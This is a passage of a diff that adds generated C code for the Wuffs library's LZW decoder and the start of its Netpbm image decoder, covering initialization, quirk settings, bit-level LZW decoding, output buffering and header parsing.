++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } ++ } ++ ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = ++ wuffs_base__io_transformer__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = ++ (const void*)(&wuffs_lzw__decoder__func_ptrs_for__wuffs_base__io_transformer); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_lzw__decoder* ++wuffs_lzw__decoder__alloc(void) { ++ wuffs_lzw__decoder* x = ++ (wuffs_lzw__decoder*)(calloc(1, sizeof(wuffs_lzw__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_lzw__decoder__initialize( ++ x, sizeof(wuffs_lzw__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} ++ ++size_t ++sizeof__wuffs_lzw__decoder(void) { ++ return sizeof(wuffs_lzw__decoder); ++} ++ ++// ---------------- Function Implementations ++ ++// -------- func lzw.decoder.get_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_lzw__decoder__get_quirk( ++ const wuffs_lzw__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if (a_key == 1348378624u) { ++ return ((uint64_t)(self->private_impl.f_pending_literal_width_plus_one)); ++ } ++ return 0u; ++} ++ ++// -------- func lzw.decoder.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_lzw__decoder__set_quirk( ++ wuffs_lzw__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ if (a_key == 1348378624u) { ++ if (a_value > 9u) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ self->private_impl.f_pending_literal_width_plus_one = ((uint32_t)(a_value)); ++ return wuffs_base__make_status(NULL); ++ } ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func lzw.decoder.dst_history_retain_length ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_lzw__decoder__dst_history_retain_length( ++ const wuffs_lzw__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); ++ } ++ ++ return wuffs_base__utility__make_optional_u63(true, 0u); ++} ++ ++// -------- func lzw.decoder.workbuf_len ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_lzw__decoder__workbuf_len( ++ const wuffs_lzw__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ ++ return wuffs_base__utility__make_range_ii_u64(0u, 0u); ++} ++ ++// -------- func lzw.decoder.transform_io ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_lzw__decoder__transform_io( ++ wuffs_lzw__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 1)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_i = 0; ++ ++ uint32_t coro_susp_point = self->private_impl.p_transform_io; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ self->private_impl.f_literal_width = 8u; ++ if (self->private_impl.f_pending_literal_width_plus_one > 0u) { ++ self->private_impl.f_literal_width = (self->private_impl.f_pending_literal_width_plus_one - 1u); ++ } ++ self->private_impl.f_clear_code = (((uint32_t)(1u)) << self->private_impl.f_literal_width); ++ self->private_impl.f_end_code = (self->private_impl.f_clear_code + 1u); ++ self->private_impl.f_save_code = self->private_impl.f_end_code; ++ self->private_impl.f_prev_code = self->private_impl.f_end_code; ++ self->private_impl.f_width = (self->private_impl.f_literal_width + 1u); ++ self->private_impl.f_bits = 0u; ++ self->private_impl.f_n_bits = 0u; ++ self->private_impl.f_output_ri = 0u; ++ self->private_impl.f_output_wi = 0u; ++ v_i = 0u; ++ while (v_i < self->private_impl.f_clear_code) { ++ self->private_data.f_lm1s[v_i] = 0u; ++ self->private_data.f_suffixes[v_i][0u] = ((uint8_t)(v_i)); ++ v_i += 1u; ++ } ++ while (true) { ++ wuffs_lzw__decoder__read_from(self, a_src); ++ if (self->private_impl.f_output_wi > 0u) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_lzw__decoder__write_to(self, a_dst); ++ if (status.repr) { ++ goto suspend; ++ } ++ } ++ if (self->private_impl.f_read_from_return_value == 0u) { ++ break; ++ } else if (self->private_impl.f_read_from_return_value == 1u) { ++ continue; ++ } else if (self->private_impl.f_read_from_return_value == 2u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ } else if (self->private_impl.f_read_from_return_value == 3u) { ++ status = wuffs_base__make_status(wuffs_lzw__error__truncated_input); ++ goto exit; ++ } else if (self->private_impl.f_read_from_return_value == 4u) { ++ status = wuffs_base__make_status(wuffs_lzw__error__bad_code); ++ goto exit; ++ } else { ++ status = wuffs_base__make_status(wuffs_lzw__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ } ++ ++ ok: ++ self->private_impl.p_transform_io = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func lzw.decoder.read_from ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_lzw__decoder__read_from( ++ wuffs_lzw__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ uint32_t v_clear_code = 0; ++ uint32_t v_end_code = 0; ++ uint32_t v_save_code = 0; ++ uint32_t v_prev_code = 0; ++ uint32_t v_width = 0; ++ uint32_t v_bits = 0; ++ uint32_t v_n_bits = 0; ++ uint32_t v_output_wi = 0; ++ uint32_t v_code = 0; ++ uint32_t v_c = 0; ++ uint32_t v_o = 0; ++ uint32_t v_steps = 0; ++ uint8_t v_first_byte = 0; ++ uint16_t v_lm1_b = 0; ++ uint16_t v_lm1_a = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ v_clear_code = self->private_impl.f_clear_code; ++ v_end_code = self->private_impl.f_end_code; ++ v_save_code = self->private_impl.f_save_code; ++ v_prev_code = self->private_impl.f_prev_code; ++ v_width = self->private_impl.f_width; ++ v_bits = self->private_impl.f_bits; ++ v_n_bits = self->private_impl.f_n_bits; ++ v_output_wi = self->private_impl.f_output_wi; ++ while (true) { ++ if (v_n_bits < v_width) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) >= 4u) { ++ v_bits |= ((uint32_t)(wuffs_base__peek_u32le__no_bounds_check(iop_a_src) << v_n_bits)); ++ iop_a_src += ((31u - v_n_bits) >> 3u); ++ v_n_bits |= 24u; ++ } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if (a_src && a_src->meta.closed) { ++ self->private_impl.f_read_from_return_value = 3u; ++ } else { ++ self->private_impl.f_read_from_return_value = 2u; ++ } ++ break; ++ } else { ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; ++ if (v_n_bits >= v_width) { ++ } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if (a_src && a_src->meta.closed) { ++ self->private_impl.f_read_from_return_value = 3u; ++ } else { ++ self->private_impl.f_read_from_return_value = 2u; ++ } ++ break; ++ } else { ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; ++ if (v_n_bits < v_width) { ++ self->private_impl.f_read_from_return_value = 5u; ++ break; ++ } ++ } ++ } ++ } ++ v_code = ((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32(v_width)); ++ v_bits >>= v_width; ++ v_n_bits -= v_width; ++ if (v_code < v_clear_code) { ++ self->private_data.f_output[v_output_wi] = ((uint8_t)(v_code)); ++ v_output_wi = ((v_output_wi + 1u) & 8191u); ++ if (v_save_code <= 4095u) { ++ v_lm1_a = ((uint16_t)(((uint16_t)(self->private_data.f_lm1s[v_prev_code] + 1u)) & 4095u)); ++ self->private_data.f_lm1s[v_save_code] = v_lm1_a; ++ if (((uint16_t)(v_lm1_a % 8u)) != 0u) { ++ self->private_impl.f_prefixes[v_save_code] = self->private_impl.f_prefixes[v_prev_code]; ++ memcpy(self->private_data.f_suffixes[v_save_code],self->private_data.f_suffixes[v_prev_code], sizeof(self->private_data.f_suffixes[v_save_code])); ++ self->private_data.f_suffixes[v_save_code][((uint16_t)(v_lm1_a % 8u))] = ((uint8_t)(v_code)); ++ } else { ++ self->private_impl.f_prefixes[v_save_code] = ((uint16_t)(v_prev_code)); ++ self->private_data.f_suffixes[v_save_code][0u] = ((uint8_t)(v_code)); ++ } ++ v_save_code += 1u; ++ if (v_width < 12u) { ++ v_width += (1u & (v_save_code >> v_width)); ++ } ++ v_prev_code = v_code; ++ } ++ } else if (v_code <= v_end_code) { ++ if (v_code == v_end_code) { ++ self->private_impl.f_read_from_return_value = 0u; ++ break; ++ } ++ v_save_code = v_end_code; ++ v_prev_code = v_end_code; ++ v_width = (self->private_impl.f_literal_width + 1u); ++ } else if (v_code <= v_save_code) { ++ v_c = v_code; ++ if (v_code == v_save_code) { ++ v_c = v_prev_code; ++ } ++ v_o = ((v_output_wi + (((uint32_t)(self->private_data.f_lm1s[v_c])) & 4294967288u)) & 8191u); ++ v_output_wi = ((v_output_wi + 1u + ((uint32_t)(self->private_data.f_lm1s[v_c]))) & 8191u); ++ v_steps = (((uint32_t)(self->private_data.f_lm1s[v_c])) >> 3u); ++ while (true) { ++ memcpy((self->private_data.f_output)+(v_o), (self->private_data.f_suffixes[v_c]), 8u); ++ if (v_steps <= 0u) { ++ break; ++ } ++ v_steps -= 1u; ++ v_o = (((uint32_t)(v_o - 8u)) & 8191u); ++ v_c = ((uint32_t)(self->private_impl.f_prefixes[v_c])); ++ } ++ v_first_byte = self->private_data.f_suffixes[v_c][0u]; ++ if (v_code == v_save_code) { ++ self->private_data.f_output[v_output_wi] = v_first_byte; ++ v_output_wi = ((v_output_wi + 1u) & 8191u); ++ } ++ if (v_save_code <= 4095u) { ++ v_lm1_b = ((uint16_t)(((uint16_t)(self->private_data.f_lm1s[v_prev_code] + 1u)) & 4095u)); ++ self->private_data.f_lm1s[v_save_code] = v_lm1_b; ++ if (((uint16_t)(v_lm1_b % 8u)) != 0u) { ++ self->private_impl.f_prefixes[v_save_code] = self->private_impl.f_prefixes[v_prev_code]; ++ memcpy(self->private_data.f_suffixes[v_save_code],self->private_data.f_suffixes[v_prev_code], sizeof(self->private_data.f_suffixes[v_save_code])); ++ self->private_data.f_suffixes[v_save_code][((uint16_t)(v_lm1_b % 8u))] = v_first_byte; ++ } else { ++ self->private_impl.f_prefixes[v_save_code] = ((uint16_t)(v_prev_code)); ++ self->private_data.f_suffixes[v_save_code][0u] = ((uint8_t)(v_first_byte)); ++ } ++ v_save_code += 1u; ++ if (v_width < 12u) { ++ v_width += (1u & (v_save_code >> v_width)); ++ } ++ v_prev_code = v_code; ++ } ++ } else { ++ self->private_impl.f_read_from_return_value = 4u; ++ break; ++ } ++ if (v_output_wi > 4095u) { ++ self->private_impl.f_read_from_return_value = 1u; ++ break; ++ } ++ } ++ if (self->private_impl.f_read_from_return_value != 2u) { ++ while (v_n_bits >= 8u) { ++ v_n_bits -= 8u; ++ if (iop_a_src > io1_a_src) { ++ iop_a_src--; ++ } else { ++ self->private_impl.f_read_from_return_value = 5u; ++ break; ++ } ++ } ++ } ++ self->private_impl.f_save_code = v_save_code; ++ self->private_impl.f_prev_code = v_prev_code; ++ self->private_impl.f_width = v_width; ++ self->private_impl.f_bits = v_bits; ++ self->private_impl.f_n_bits = v_n_bits; ++ self->private_impl.f_output_wi = v_output_wi; ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func lzw.decoder.write_to ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzw__decoder__write_to( ++ wuffs_lzw__decoder* self, ++ wuffs_base__io_buffer* a_dst) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__slice_u8 v_s = {0}; ++ uint64_t v_n = 0; ++ ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_write_to; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (self->private_impl.f_output_wi > 0u) { ++ if (self->private_impl.f_output_ri > self->private_impl.f_output_wi) { ++ status = wuffs_base__make_status(wuffs_lzw__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_s = wuffs_base__make_slice_u8_ij(self->private_data.f_output, ++ self->private_impl.f_output_ri, ++ self->private_impl.f_output_wi); ++ v_n = wuffs_private_impl__io_writer__copy_from_slice(&iop_a_dst, io2_a_dst,v_s); ++ if (v_n == ((uint64_t)(v_s.len))) { ++ self->private_impl.f_output_ri = 0u; ++ self->private_impl.f_output_wi = 0u; ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } ++ self->private_impl.f_output_ri = (((uint32_t)(self->private_impl.f_output_ri + ((uint32_t)(v_n)))) & 8191u); ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_write_to = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_write_to = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func lzw.decoder.flush ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__slice_u8 ++wuffs_lzw__decoder__flush( ++ wuffs_lzw__decoder* self) { ++ if (!self) { ++ return wuffs_base__empty_slice_u8(); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__empty_slice_u8(); ++ } ++ ++ uint32_t v_ri = 0; ++ uint32_t v_wi = 0; ++ ++ v_ri = self->private_impl.f_output_ri; ++ v_wi = self->private_impl.f_output_wi; ++ self->private_impl.f_output_ri = 0u; ++ self->private_impl.f_output_wi = 0u; ++ if (v_ri <= v_wi) { ++ return wuffs_base__make_slice_u8_ij(self->private_data.f_output, v_ri, v_wi); ++ } ++ return wuffs_base__make_slice_u8(self->private_data.f_output, 0); ++} ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZW) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NETPBM) ++ ++// ---------------- Status Codes Implementations ++ ++const char wuffs_netpbm__error__bad_header[] = "#netpbm: bad header"; ++const char wuffs_netpbm__error__truncated_input[] = "#netpbm: truncated input"; ++const char wuffs_netpbm__error__unsupported_netpbm_file[] = "#netpbm: unsupported Netpbm file"; ++const char wuffs_netpbm__note__internal_note_short_read[] = "@netpbm: internal note: short read"; ++ ++// ---------------- Private Consts ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_netpbm__decoder__do_decode_image_config( ++ wuffs_netpbm__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_netpbm__decoder__do_decode_frame_config( ++ wuffs_netpbm__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_netpbm__decoder__do_decode_frame( ++ wuffs_netpbm__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_netpbm__decoder__swizzle( ++ wuffs_netpbm__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++// ---------------- VTables ++ ++const wuffs_base__image_decoder__func_ptrs ++wuffs_netpbm__decoder__func_ptrs_for__wuffs_base__image_decoder = { ++ (wuffs_base__status(*)(void*, ++ wuffs_base__pixel_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__pixel_blend, ++ wuffs_base__slice_u8, ++ wuffs_base__decode_frame_options*))(&wuffs_netpbm__decoder__decode_frame), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__frame_config*, ++ wuffs_base__io_buffer*))(&wuffs_netpbm__decoder__decode_frame_config), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__image_config*, ++ wuffs_base__io_buffer*))(&wuffs_netpbm__decoder__decode_image_config), ++ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_netpbm__decoder__frame_dirty_rect), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_netpbm__decoder__get_quirk), ++ (uint32_t(*)(const void*))(&wuffs_netpbm__decoder__num_animation_loops), ++ (uint64_t(*)(const void*))(&wuffs_netpbm__decoder__num_decoded_frame_configs), ++ (uint64_t(*)(const void*))(&wuffs_netpbm__decoder__num_decoded_frames), ++ (wuffs_base__status(*)(void*, ++ uint64_t, ++ uint64_t))(&wuffs_netpbm__decoder__restart_frame), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_netpbm__decoder__set_quirk), ++ (wuffs_base__empty_struct(*)(void*, ++ uint32_t, ++ bool))(&wuffs_netpbm__decoder__set_report_metadata), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__more_information*, ++ wuffs_base__io_buffer*))(&wuffs_netpbm__decoder__tell_me_more), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_netpbm__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_netpbm__decoder__initialize( ++ wuffs_netpbm__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } ++ } ++ ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = ++ wuffs_base__image_decoder__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = ++ (const void*)(&wuffs_netpbm__decoder__func_ptrs_for__wuffs_base__image_decoder); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_netpbm__decoder* ++wuffs_netpbm__decoder__alloc(void) { ++ wuffs_netpbm__decoder* x = ++ (wuffs_netpbm__decoder*)(calloc(1, sizeof(wuffs_netpbm__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_netpbm__decoder__initialize( ++ x, sizeof(wuffs_netpbm__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} ++ ++size_t ++sizeof__wuffs_netpbm__decoder(void) { ++ return sizeof(wuffs_netpbm__decoder); ++} ++ ++// ---------------- Function Implementations ++ ++// -------- func netpbm.decoder.get_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_netpbm__decoder__get_quirk( ++ const wuffs_netpbm__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ return 0u; ++} ++ ++// -------- func netpbm.decoder.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_netpbm__decoder__set_quirk( ++ wuffs_netpbm__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func netpbm.decoder.decode_image_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_netpbm__decoder__decode_image_config( ++ wuffs_netpbm__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 1)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_netpbm__decoder__do_decode_image_config(self, a_dst, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_image_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func netpbm.decoder.do_decode_image_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_netpbm__decoder__do_decode_image_config( ++ wuffs_netpbm__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint32_t v_n = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ goto exit; ++ } ++ 